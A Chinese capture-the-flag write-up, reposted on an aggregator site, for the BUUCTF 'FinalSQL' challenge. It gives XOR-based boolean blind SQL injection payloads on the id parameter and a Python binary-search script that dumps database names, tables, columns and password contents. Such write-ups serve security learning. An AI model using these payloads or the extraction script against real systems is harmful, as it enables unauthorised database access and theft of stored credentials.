[极客大挑战 2019]FinalSQL【SQL布尔盲注】

news/2025/3/15 3:44:24/

题目: 

 五个小框框什么也没有

发现应该在第六个框框有点线索,所以尝试url框里面id=6试一试 

 表明flag 不在这个表里面。。。啥意思

用户名和密码处都试过了,过滤了很多,包括 ’ ,select,databases,tables等等,反正能用的都过滤了 

后来看wp才知道,原来是需要在id处注入,具体注入方法和这个一样BUU18 [CISCN2019 华北赛区 Day2 Web1]Hack World【SQL布尔盲注】-CSDN博客y

判断为布尔盲注:

先注入一个试试:

经过n次尝试终于成功了,注意这里:

1.查询库名可以通过select schema_name from information_schema.schemata

sql">id=1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))=100)^1

也可以这么写 

sql">1^(ord(substr((select(database())),1,1))=100)^1

 一半自己写的一半抄的代码:

利用二分法

import requests
import timeflag = ""
url="http://00d22f10-012a-466e-8fd3-079e487de94f.node5.buuoj.cn:81/search.php?"
temp={"id":""}
for i in range(1,1000):time.sleep(0.06)low=32high=128mid=(low+high)//2while (low<high):#爆库名:#temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i,mid)#temp["id"]="1^(ord(substr((select(database())),%d,1))>%d)^1"%(i,mid)#爆表名:#temp["id"]="1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))>%d)^1" % (i,mid)#爆列名#temp["id"]="1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)#爆出password内容   注意这里不能用from库名不能加上''!!!temp["id"]="1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)request=requests.get(url,params=temp)time.sleep(0.04)if "others" in request.text :low=mid+1else:high=midmid=(low+high)//2if(mid==32 or mid==127):breakflag+=chr(mid)print(flag)
print("ALL:",flag)

 有很多第一次学到的知识:

1.向url发送get的请求方法:

1)声明一个字典 temp={"id":""} 存储get发送的请求参数

2)url中要把 ? 一块写上

3)赋值temp字典内容: temp["id"]="xxxxxxxxxxx"

4)格式化字符串有两种写法:

  • f"xxxxxx{mid}xxxxxxx",这里的f就是声明一个格式化字符串
  • "xxxxxxxxx%dxxxxxx" %(mid)

5)发送url get请求格式 r=requests.get(url,params=temp)

6)注意使用time.sleep()减少发送请求频率

2.向url发送post请求的方法:

 payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"data = {"id":payload}res = requests.post(url=url, data=data).text


http://www.ppmy.cn/news/1579219.html

相关文章

【09】单片机编程核心技巧:变量赋值,从定义到存储的底层逻辑

【09】单片机编程核心技巧&#xff1a;变量赋值&#xff0c;从定义到存储的底层逻辑 &#x1f31f; 核心概念 单片机变量的定义与赋值是程序设计的基础&#xff0c;其本质是通过 RAM&#xff08;随机存储器&#xff09; 和 ROM&#xff08;只读存储器&#xff09; 的协作实现…

SpringBoot使用Logback日志框架与综合实例

日志框架的使用,系列文章: 《SpringBoot使用Logback日志框架与综合实例》 《SpringBoot使用@Slf4j注解实现日志输出》 《Log4j2日志记录框架的使用教程与简单实例》 《SpringBoot使用AspectJ实现AOP记录接口:请求日志、响应日志、异常日志》 《SpringBoot使用AspectJ的@Arou…

若依-导出后端解析

针对若依框架微服务版本学习 若依导入导出功能的具体使用详见&#xff1a;后台手册 | RuoYi 1.导出逻辑&#xff1a; 导出文件的逻辑是先创建一个临时文件&#xff0c;等待前端请求下载结束后马上删除这个临时文件。但是有些下载插件&#xff0c;例如迅雷&#xff08;他们是二…

第三章:设计模式

第三章&#xff1a;设计模式 3.1 设计模式概述 设计模式&#xff08;Design Patterns&#xff09;是软件开发中经过验证的、可以重复使用的解决方案&#xff0c;用于解决在软件设计过程中遇到的常见问题。设计模式并非具体的代码实现&#xff0c;而是一种在特定场景下如何构建…

算法题(96):杨辉三角

审题&#xff1a; 本题需要我们根据题目中给出的数n&#xff0c;输出n行斐波那契数组 思路&#xff1a; 方法一&#xff1a;循环 我们可以利用双层for循环先计算出斐波那契数组并存入数组中&#xff0c;然后再利用双层for循环输出数据 解题&#xff1a; &#xff08;1&#xff…

人工智能的发展历史

萌芽期&#xff08;20世纪40 - 50年代&#xff09; 在很久很久以前&#xff0c;也就是20世纪40年代&#xff0c;人们就开始琢磨能不能让机器像人一样思考。 那时候计算机刚刚诞生&#xff0c;硬件还很原始&#xff0c;计算能力也不强。 1943年&#xff0c;有个叫沃伦麦卡洛克…

做到哪一步才算精通SQL

做到哪一步才算精通SQL-Structured Query Language 数据定义语言 DDL for StructCREATE&#xff1a;用来创建数据库、表、索引等对象ALTER&#xff1a;用来修改已存在的数据库对象DROP&#xff1a;用来删除整个数据库或者数据库中的表TRUNCATE&#xff1a;用来删除表中所有的行…

JavaScript基本知识

文章目录 一、JavaScript基础1.变量&#xff08;重点&#xff09;1-1 定义变量及赋值1-2 变量的命名规则和命名规范判断数据类型&#xff1a; 2.数据类型转换2-1 其他数据类型转成数值2-2 其他数据类型转成字符串2-3 其他数据类型转成布尔 3.函数3-1函数定义阶段3-2函数调用阶段…